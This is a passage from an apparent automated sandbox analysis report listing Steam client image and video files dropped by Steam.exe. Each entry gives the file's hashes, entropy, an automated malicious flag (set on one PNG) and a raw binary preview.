UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\homeglow.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1936 x 600, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1444865
Entropy (8bit):	7.995194828072529
Encrypted:	true
SSDEEP:
MD5:	A1C7DEECAC712604EC5E577AABB7564F
SHA1:	A727CB87F827BEA9104D2B3B7AF77C03D7267631
SHA-256:	AADB56FCB1D6733EEAE110392AD9F1B35AE6AC44630B12195AF1B69240D4238C
SHA-512:	0D1EE01CFA86F470DEBF057C0009E43506E260DFE5E04AAB2CEE3E306CB085EBCAA45A60779DF47B957529C0DD5511370464E5CD37BA3795B9A7E8EB7700D99F
Malicious:	true
Reputation:	unknown
Preview:	.PNG........IHDR.......X......Yz.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\horizontal_gradient_mask.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3976
Entropy (8bit):	7.911625976020831
Encrypted:	false
SSDEEP:
MD5:	D1FDF87C5365486D34546C0D0B7841D0
SHA1:	BD9D18796F89F97FE049AF2E1B41E22305F1F4B2
SHA-256:	DDEBABC459F8CD94DF08379EEC0EAA10664621010C05BF7891BB5F32170EA8AB
SHA-512:	38BA5866C1FD5605CEDCDCA514D143F81C4A81EC019A85533B322632A5EA93F775670443431D4614B29F388B11CC10954B1EAE1A8062C437E6FD212BD9774AEE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...@...@......iq.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\icon_cart.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1823
Entropy (8bit):	7.35201048138579
Encrypted:	false
SSDEEP:
MD5:	21DCD4D5CD1EEC9990196924F71D1BA9
SHA1:	B7D90C8FCCD2170F4498B976DE928C9130BD07E5
SHA-256:	5910A304430F177C80AA45BF30257EBDDCD9A337185A7A2C9BE1E08277919CFC
SHA-512:	933FF444D020F7EC7FACBEC11462AE411913849843E8930962796DFC8385380F68F44F4C530E7D5AF0D2B4F9ED85124CB476A8024520B7EE7079ACD820C0C850
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............W.+7....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:0BF95750452811E582A89980839946E5" xmpMM:DocumentID="xmp.did:0BF95751452811E582A89980839946E5"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0BF9574E452811E582A89980839946E5" stRef:documentID="xmp.did:0BF9574F452811E582A89980839946E5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.us4....IDATx..Y.KTQ....... ....,!.E..pQ....UP..eF..&..E.A...\..........$....}N...g...>.y>..?.;....s.=..3.L&.[..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\icon_community_hub.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2514
Entropy (8bit):	7.574366358821883
Encrypted:	false
SSDEEP:
MD5:	C87AC81B180678BEA06D80A83F66C8DF
SHA1:	5A5052E0CA38E4E2733079E540E75CE3ADBE708A
SHA-256:	4F8A30AD06D1B90D609926C030F83D0CD05D6BEF1162907DF70AD2BA4440E111
SHA-512:	58029604325B364841CCC7C40B5D55B7C47FBB122449123C81106BDE7FAA475AD8133247CAABD1DFD727AF75F22F1BEB926897CFD3F7BB93A63EB1DAB741C664
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............W.+7....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:D05D02FA501211E58CEFA7416D143FD4" xmpMM:DocumentID="xmp.did:D05D02FB501211E58CEFA7416D143FD4"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D05D02F8501211E58CEFA7416D143FD4" stRef:documentID="xmp.did:D05D02F9501211E58CEFA7416D143FD4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......FIDATx..{L.U..y..5.. ..........j.e.....4m.2.....j.Ga.Y&[df.-.T6*`Y..y.. -M.)......}...m.......?.:.g.y......{

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\icon_discussions.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1559
Entropy (8bit):	7.140396296061066
Encrypted:	false
SSDEEP:
MD5:	C27A9E8668E669DF144D15FF57A9F7B1
SHA1:	5F1B4249FE467226B338A338A7EF8F4A2072195C
SHA-256:	62994A9BCD6F00F3AA72EA2591F0202C4D27EBF1292A79EA26ADF2C7D7125A38
SHA-512:	2851902D9748ACC9F1CC8D8D58CA9A8A6287E5E8BEB1C606CA1790CFBECF2E3EFDDDF6432308F3C49CFA00F501538A09B3E9BEDA1E78B2BA8EE8C93F0585BBC0
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............W.+7....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:B22832B0453A11E5AF8FFCB93896F742" xmpMM:DocumentID="xmp.did:B22832B1453A11E5AF8FFCB93896F742"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:B22832AE453A11E5AF8FFCB93896F742" stRef:documentID="xmp.did:B22832AF453A11E5AF8FFCB93896F742"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..~.....IDATx...K.a..w..7mA..!D$XFI.(..!.....7.:Du....X.S..:t......C!..]JP...m.<0.==..>.......+.3.f...h9..1...C

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\icon_folder.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3287
Entropy (8bit):	7.892097354357158
Encrypted:	false
SSDEEP:
MD5:	1BFCE3A8FB112E92C4B52AC75FCA2674
SHA1:	F146CC578B825641BA304BDA19C3CA24C7055025
SHA-256:	C781E211FD2CC19FC4DE2AD372A62AFF73846188A7AFA1F5560D8AF90DB06959
SHA-512:	EB341D312401EB3432A3A37E71F19A6863AB83770DA819DE53C211A8C3E1C08E6F18F4C35EDEA99648A19D0D5DD2363E6B49DAF6246E7A98429C5FA1485D632A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............W.+7....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\icon_folder_add.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3315
Entropy (8bit):	7.895413643618223
Encrypted:	false
SSDEEP:
MD5:	D69805A85F6DE6AFA452710EE6E6B6F4
SHA1:	5AB1193ED3CE5A519A5FBF3A876C525D226810EB
SHA-256:	7416CDBB8B689B805B6C61B76343A067BC42BB7A1481D0E5804ED4E829B23E73
SHA-512:	2834E7EB8B5A4B82319014D5B5BD1BE8892CA88BABF415C0142BB362F85AC6FC7784DB2439E240FD90DF5BDD18EDA6B0C5823573E87967665D1F5C50F03309FC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............W.+7....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\icon_folder_up.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 46 x 35, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3488
Entropy (8bit):	7.901555467496028
Encrypted:	false
SSDEEP:
MD5:	0A503CF0C5DAFCF6B8A3F318E77F1347
SHA1:	7A76A16588A969B224F3392C13A63C57CEE2A415
SHA-256:	CE20226BDC884F67C59AE000A2750745781EBAFD71C7B9AC0E5E23546CD42B05
SHA-512:	39D2FD9F0A5E6233625D96211FF697238C63DE37C796B1F2F21FA0142CA2CB55BD7CF3E4D7F59572D870679179EE3A358599A68B3D8AF44563A3B2DB72E52088
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......#......'8.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\icon_keyboard.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4725
Entropy (8bit):	7.859392015574436
Encrypted:	false
SSDEEP:
MD5:	53B047AB53A145035F8942C2105B8B31
SHA1:	25937C20135938DE9D5ABABA8B931676A623C9C1
SHA-256:	908FF196A0765B442C4D4CA109BD00E9A3AD75551EDDB85693588C706DBDFE92
SHA-512:	1387DCE1C291C38E2C0553FFB104A08ECBD3BC1BA43ECAD6B90ABC7A529529A177980FE6AAC0CF1AAB93B0B1ADD233B79272E20982393886F9D0CF5A8602ED92
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...<...<.....:..r....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:A877AE73475E11E589F2FD42925D354C" xmpMM:DocumentID="xmp.did:A877AE74475E11E589F2FD42925D354C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A877AE71475E11E589F2FD42925D354C" stRef:documentID="xmp.did:A877AE72475E11E589F2FD42925D354C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>L.......IDATx..Z.-.U_..s.G__.........=..H".(..3..JL'.D..AO....LZ..D. !..;.........%i3P. M.}..s.9...j....w.{4.....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\icon_picture.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3444
Entropy (8bit):	7.894046179025514
Encrypted:	false
SSDEEP:
MD5:	9DE1DD9C82E21E57D7A2C0AC9292AC50
SHA1:	6F488D36D1AAB56C70E2449E00D5F2F5EBE981DB
SHA-256:	1DD88DF0AC61C5EF8ACFE0DF06426168FFC705D2E45DD37447F8E75BCF01D728
SHA-512:	0C80A20FC7172E93C75C3F31892358DFE7F58D9281AE7858BC44C73F708B0466CE21715BCD81A3428E43857731E2C0DBCA77482F387DEEDFF637A498BCA18AE8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............W.+7....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\icon_return.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1673
Entropy (8bit):	7.215686849743598
Encrypted:	false
SSDEEP:
MD5:	3CC3C6984A8496F38E660EE1DD4B5712
SHA1:	9A8BEEFEEBFC0C2D7AC81C74CA34781EB90E6283
SHA-256:	9D12FBD6C14B2D67EFC2C6A5ECB276176F81FA99DD36E35AB31D1498D69E794B
SHA-512:	A50BCB31AFC9E84358BE3E0CB6C5A48C2ED7EF667E1F8D0226381EC810C01CA024BBFBCC0D2DC41D7C0D7A2EE5A8786F6D5328F9D03131391A7C9181DCCA5C43
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............W.+7....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:B2493B3145D011E581C7BF4CE5C5D955" xmpMM:DocumentID="xmp.did:B2493B3245D011E581C7BF4CE5C5D955"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:B2493B2F45D011E581C7BF4CE5C5D955" stRef:documentID="xmp.did:B2493B3045D011E581C7BF4CE5C5D955"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Y.PP....IDATx...Kh.Q....Z-.Jk.>....RD.(...t'..DP......P(.E.P._..A.....@p....E...-J.m......^..t2.....G....I..s.MB.d..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\icon_settings.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1881
Entropy (8bit):	7.306148512275624
Encrypted:	false
SSDEEP:
MD5:	2BCD621E5D7C377DB859BB2059B3A6C8
SHA1:	70787D6ADD8992FFBB28F74D2CD3B7E1FCF1429A
SHA-256:	4E0C2A5A7352A8B8AB047AA28E95EC578031EDDBE7AD94187783DE5AD5B2AA52
SHA-512:	613ABE1C5C4648A6E7CFD32FD6BA75437006148D6AD8728FE2CFE6565C31C50C8977080B8AB3106F4264FAF25BB7896AEE8CD2C40EFBFD542D102938818831CA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............W.+7....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:3D88DF20452811E5B3DCC961B5D724B3" xmpMM:DocumentID="xmp.did:3D88DF21452811E5B3DCC961B5D724B3"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:3D88DF1E452811E5B3DCC961B5D724B3" stRef:documentID="xmp.did:3D88DF1F452811E5B3DCC961B5D724B3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx...k.Q..7..(I1...B.=x(....".....?A{. x.9%P,.....9.x..z...BN.l.....d...&M.Y....._1.I....7of.v....,K..rM..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\icon_steam_update.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3880
Entropy (8bit):	7.90160165839956
Encrypted:	false
SSDEEP:
MD5:	C1D5F2F8ECB1B67D1F793B7027D74D04
SHA1:	2A94E4A2FA9BBB783A6FDDFC7471E926D3E6142C
SHA-256:	494BCA0A48C202FA8CBDFB6027ADAFCE8530A08DA5597D1F4E712082948629B1
SHA-512:	CAB1145545233637B4923003A2737A5051A277ECD6D38C5EC4EDA552A9C7200EEC48D81F3E4A0A6E76ABF7E53B77F9E9DF41CAF8B41A8D7FAD2970FAE8816734
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............W.+7....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\inbox.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1407
Entropy (8bit):	6.973133179890206
Encrypted:	false
SSDEEP:
MD5:	B9FD107198EEE4F667E2B8346F700E8A
SHA1:	8C39689B179243ADB9043AB100A7B348B1660908
SHA-256:	5C08E2FFFD22BD82AEE636AC2FC4164E0B560ADB1222FA01D984421C830F99FE
SHA-512:	DA6958A6564CA57439E98AF8356721BD411903F24A45DD772165391B16EDF21BACF3BF5AD11F25ECFD1B8CFB4DC1069B64A765EB72E1795CA258D8F013990490
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............W.+7....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:4752015523B911E298379CF2B68DD0CA" xmpMM:DocumentID="xmp.did:4752015623B911E298379CF2B68DD0CA"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4752015323B911E298379CF2B68DD0CA" stRef:documentID="xmp.did:4752015423B911E298379CF2B68DD0CA"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..T.....IDATx..m. ..m..G`.w.t..@6H7p'..t...n.v.g....P..Z.0<$.....s....Z.Q.QH.R......UB....g%W.3Q........`.X.g.n...?.8

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\intro_movie.webm_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	WebM
Category:	dropped
Size (bytes):	4899405
Entropy (8bit):	7.999714076791498
Encrypted:	true
SSDEEP:
MD5:	F8C3FF99BF7B291F88D3FAF446B95601
SHA1:	DEAE33E50400DA01DBA14687F7CB3C32EFB31359
SHA-256:	F6D827BB0C2AFD3B7068B297EBEE822D276CB5FB77EBE63F6564FA57BB9CD7BD
SHA-512:	5689B7FF37965A038A1BEF5B36958AC47A6CF5ECB5C2757B26D412F14E3029B36C006F7273A2B32C571A67796777FC8743B61E0CC0F36A9279E38D496B59B521
Malicious:	false
Reputation:	unknown
